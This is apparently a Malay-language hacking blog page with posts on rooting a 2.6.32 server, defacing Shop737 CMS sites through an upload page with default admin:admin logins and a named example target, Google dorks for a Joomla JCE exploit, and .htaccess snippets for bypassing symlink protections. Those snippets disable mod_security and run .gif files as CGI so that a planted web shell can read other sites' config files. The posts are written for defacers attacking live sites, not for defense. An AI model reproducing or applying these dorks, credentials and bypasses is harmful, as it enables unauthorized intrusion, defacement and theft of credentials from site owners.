Cara Rooting Server [2.6.32-2012] Video

Assalamualaikum dan selamat sejahtera , kali ini tutorial special sedikit . Haaaa ni cara tutorial cara root server . 

#Maaf kerana tutorial nya dalam bahasa inggeris . Bajet2 OhMyEngelish jeww .. Hahahahaa

Video 

Download File 

Termasuk file a.zip dan mass.zip

Semoga bermanfaat .

Read More →

Deface Dengan Upload File di Shop737

Assalamualaikum dan selamat sejahtera , Kali ini saya akan berkongsi exploit Upload file Di Cms Shop737 . Exploit ini amat mudah .

Baiklah .. Jom mula

Google Dork : intext:"Powered by Shop737"

1) Pilih target website . 

2 ) Kemudian tambah /upload.php Seperti site.com/poto/upload.php . Contoh: http://lagudrumband.com/poto/upload.php

3) Masukkan user + pass 

username : admin

pass : admin

 4) Jika gagal masuk , coba website lain :)

5) Setelah berjaya masuk tampilan akan jadi begini .

6) Hanya file extension .txt/.jpg sahaja yg boleh di upload .

7) Pilih kategori dan upload file anda dan klik Upload :)

8) Jike file sukses di upload 

hasil upload berjaya di : localhost/poto/[kategori]/file.txt . Contoh http://lagudrumband.com/poto/x/x.txt

Itu sahaja . Assalamualaikum :)

 

Read More →

JCE Exploiter

Assalamualaikum dan selamat sejahtera . Sudah lama saya tak buat artikel hacking , maaf . Tidak ada masa untuk berblogging . tapi sekarang saya akan kembali untuk berkongsi . Dengan nama blog baru Mafia Security.

Jom mula ..

Download dulu ..

Google Dork : inurl:"/index.php?option=com_jce"
inurl:index.php?option=com_virtuemart

Jika tidak keluar apa2 itu tandanya web patch atau tidak vuln .
Exploit JCE ini masih fresh walaupun exploit ini sejak 2009 . Best exploit !
Assalamualaikum dan selamat sejahtera .

Read More →

Bypass Symlink Error

Assalamualaikum dan selamat sejahtera , Mungkin,ramai PENGGODAM/DEFACER mengalami masalah apabila mendapat sebuah server ataupun shell . Disitu apabila ingin SYM , tiba-tiba ada mengalami Forbidden,Internal Server Error dan 404 NOT FOUND . Baiklah kali ini saya akan tunjuk cara ingin bypass Error itu :) .

Bypass symlink dengan .htaccess/code . Copy code dan upload di shell ok . Code .htaccess untuk bypass Forbidden : * Options FollowSymLinks MultiViews Indexes ExecCGI

* Options Indexes FollowSymLinks DirectoryIndex ssssss.htm AddType txt .php AddHandler txt .php

* Options All DirectoryIndex ssss.html addType txt .php AddHandler txt .php <IfModule mod_security.c> SecFilterEngine Off SecFilterScanPOST Off </IfModule>

*  Options All ReadMeName 1.txt

*  suPHP_ConfigPath /home/user/public_html/php.ini

*  Options all

* Options +FollowSymLinks DirectoryIndex Sux.html Options +Indexes AddType text/plain .php AddHandler server-parsed .php AddType text/plain .html

* Options Indexes FollowSymLinks DirectoryIndex ssssss.htm AddType txt .php AddHandler txt .php <IfModule mod_autoindex.c> IndexOptions FancyIndexing IconsAreLinks SuppressHTMLPreamble </ifModule> <IfModule mod_security.c> SecFilterEngine Off SecFilterScanPOST Off </IfModule>

Code untuk bypass Python Script Sym .py : * AddType application/x-httpd-cgi .py AddHandler cgi-script .py AddHandler cgi-script .py Code untuk bypass Perl Script Sym .pl : * AddType application/x-httpd-cgi .pl AddHandler cgi-script .pl AddHandler cgi-script .pl Code untuk membolehkan Fungsi Symlink yang telah dilumpuhkan : * <Directory "/home"> *** Options -ExecCGI* *** AllowOverride AuthConfig Indexes Limit FileInfo Options=IncludesNOEXEC,Indexes,Includes,MultiViews ,SymLinksIfOwnerMatch,FollowSymLinks </Directory> Code untuk mendapatkan kebenaran dari server : * AddType text/plain .php Options +Indexes DirectoryIndex filename.html Code Bypass Internal Server Error : <IfModule mod_security.c> SecFilterEngine Off SecFilterScanPOST Off </IfModule>

Code Tukar Versi PHP dari Server :

*AddType application/x-httpd-php4 .php

Code Ambil Config dengan kaedah gambar : Options FollowSymLinks MultiViews Indexes ExecCGI  
AddType application/x-httpd-cgi .gif  
AddHandler cgi-script .gif
AddHandler cgi-script .gif
Itu sahaja , Assalamualaikum .

Read More →